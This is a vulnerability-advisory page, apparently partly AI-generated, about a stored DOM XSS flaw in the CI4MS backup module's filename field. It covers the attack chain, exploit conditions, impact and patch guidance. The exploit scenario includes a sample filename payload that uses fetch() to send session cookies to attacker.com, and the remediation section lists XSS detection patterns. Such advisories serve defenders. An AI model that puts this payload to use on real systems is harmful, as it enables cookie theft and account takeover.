Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate as high-privilege user
-
DeliveryUpload crafted SQL backup file with XSS filename
-
ExploitAdministrator views backup listing
-
InstallStored XSS executes in admin browser
-
C2Hijack session cookies
-
ExecuteEscalate to superadmin via IDOR
-
ImpactPersistent full account takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access with high privileges (PR:H) specifically to CI4MS backup module functionality. Attacker must have permission to upload or create backup files, typically granted to backup operators, system administrators, or superadmin roles. Exploitation succeeds when backup module is actively used and administrators regularly access the backup management interface to view or manage backup files. Vulnerability affects default configurations of CI4MS versions below 0.31.5.0 with no special feature flags required. Limiting factors include: requires initial foothold as privileged user (not remotely exploitable from unauthenticated state), victim administrator must navigate to backup listing page for payload execution (though this is routine administrative activity), and browser-based XSS defenses like Content Security Policy may block inline script execution if properly configured (rare in default CI4MS deployments). The CVSS vector AV:N/AC:L/PR:H/UI:N indicates network-accessible exploitation with low complexity once authenticated, but the high privilege requirement (PR:H) significantly reduces attacker population compared to unauthenticated vulnerabilities. |
| Impact | Real-world risk is high for organizations using CI4MS despite requiring initial high-privilege access (PR:H). The CVSS 9.1 Critical score is justified by the scope change (S:C) and complete confidentiality/integrity/availability impact (C:H/I:H/A:H). Attack complexity is low (AC:L) with no user interaction required (UI:N) once the malicious backup file is planted. No EPSS data available for this newly disclosed CVE, and absence from CISA KEV suggests exploitation is not yet widespread. However, GitHub advisory GHSA-qxpq-82f3-xj47 confirms multiple coordinated security disclosures addressing XSS, arbitrary file write (Zip Slip RCE), and privilege escalation IDOR vulnerabilities in the same release cycle, indicating systemic security issues in the product. The combination of stored XSS with authenticated file upload creates a realistic privilege escalation chain from backup operator to superadmin. Organizations using CI4MS backup functionality face concrete risk, particularly in multi-admin environments where lateral movement amplifies impact. Patch availability in version 0.31.5.0 is confirmed by vendor release notes, making this immediately remediable. Priority should be HIGH for any CI4MS deployment, CRITICAL if backup module is actively used by multiple administrative roles. |
| Exploit ScenarioDerived | An authenticated attacker with backup operator or administrator privileges crafts a malicious SQL backup file where the filename field contains embedded JavaScript payload, such as backup_2026<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.sql. They upload this file through the CI4MS backup module interface. When a superadmin or another administrator navigates to the backup management dashboard, DataTables dynamically renders the filename list from database records without output escaping. The stored XSS payload executes in the victim's browser, exfiltrating session cookies to the attacker's server. With hijacked superadmin session, the attacker leverages the related IDOR vulnerability in UserController to permanently escalate their own account to superadmin profile group, achieving persistent full account takeover across all roles. No public POC identified, but attack technique combines standard stored XSS with application-specific privilege escalation logic. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – May 07, 2026
Remote code execution and full account takeover in CI4MS (CodeIgniter 4 CMS/ERP) allows authenticated high-privilege users to escalate to superadmin and compromise all accounts via stored DOM XSS in backup module filename fields. Attackers craft malicious SQL backup files containing hidden JavaScript payloads that execute when administrators view backup listings. Vendor-released patch available in version 0.31.5.0, addressing XSS via output escaping in DataTables rendering. No CISA KEV listing or public POC identified at time of analysis, but CVSS 9.1 Critical reflects scope change and multi-stage exploitation potential.
Earlier versions of this analysis (1)
Stored DOM XSS in CI4 CMS ERP backup module filename field allows authenticated high-privilege attackers to achieve full account takeover and privilege escalation via malicious SQL files containing hidden XSS payloads in the filename. User interaction is required for exploitation. Patch version 0.31.5.0 is available.
RemediationAI
Upgrade immediately to CI4MS version 0.31.5.0 or later, available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0. The patch applies output escaping via esc() function to DataTables filename rendering in the Backup module, preventing stored DOM XSS execution. The release also addresses related vulnerabilities including Zip Slip RCE in backup restore and IDOR privilege escalation in UserController. If immediate upgrade is not feasible, implement compensating controls: restrict backup module access to only essential superadmin accounts (reduces attack surface by limiting who can upload malicious files), enable Content Security Policy headers to block inline script execution (add 'unsafe-inline' restrictions to script-src directive), and audit existing backup files for suspicious filenames containing JavaScript syntax (look for patterns like <script>, onerror=, or encoded payloads). Note that access restrictions only reduce likelihood, not vulnerability - they do not prevent exploitation if a trusted high-privilege account is already compromised. Manual input sanitization via output encoding is complex and error-prone compared to vendor patch. Vendor release notes at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0 credit security researchers @offset, @bugmithlegend, @peeefour, and @DexterHK for coordinated disclosure.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CI4MS is a CodeIgniter 4-based content management and ERP system written in PHP. The vulnerability stems from CWE-79 (Cross-Site Scripting) in the backup management module's filename handling. When backup files (SQL dumps) are uploaded or restored, the application stores filename metadata in the database without sanitization. The backup listing interface uses DataTables to dynamically render filenames from database records without proper output encoding. An attacker with high privileges (PR:H) can upload a crafted SQL file containing embedded XSS payloads in the filename field. When other administrators access the backup management interface, the malicious JavaScript executes in their browser context (Stored DOM XSS), enabling session hijacking and further privilege escalation. The CPE identifier pkg:composer/ci4-cms-erp_ci4ms confirms this affects the Composer-distributed PHP package. The CVSS scope change (S:C) indicates the vulnerability breaks trust boundaries, allowing attackers to pivot from backup module access to full administrative control.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.
CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms
Lifecycle Timeline
5DescriptionCVE.org
Summary:
An attacker can acheive Full Account Takeover & Privilege Escalation via Stored DOM XSS in backup module filename field manipulated via an SQLl file that tampers with the file name field to contain hidden XSS payload.
Executive ViewAI
CI4MS (CodeIgniter 4 CMS/ERP) versions prior to 0.31.5.0 contain a critical stored DOM XSS vulnerability in the backup module that allows authenticated high-privilege users to escalate privileges to superadmin and compromise all user accounts. Organizations using CI4MS face immediate risk of complete administrative control loss and data breach if the backup module is accessible to any authenticated user with file upload or naming permissions.
Apply vendor patch to version 0.31.5.0 or later. If immediate patching is not feasible, disable backup module functionality entirely via role-based access control; restrict backup file viewing and management to verified superadmin accounts only; implement Web Application Firewall rules to block DOM-based XSS patterns in HTTP responses from the backup module.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
EUVD-2026-28253
GHSA-qxpq-82f3-xj47
NVD
CVE.org
EPSS
Exploit-DB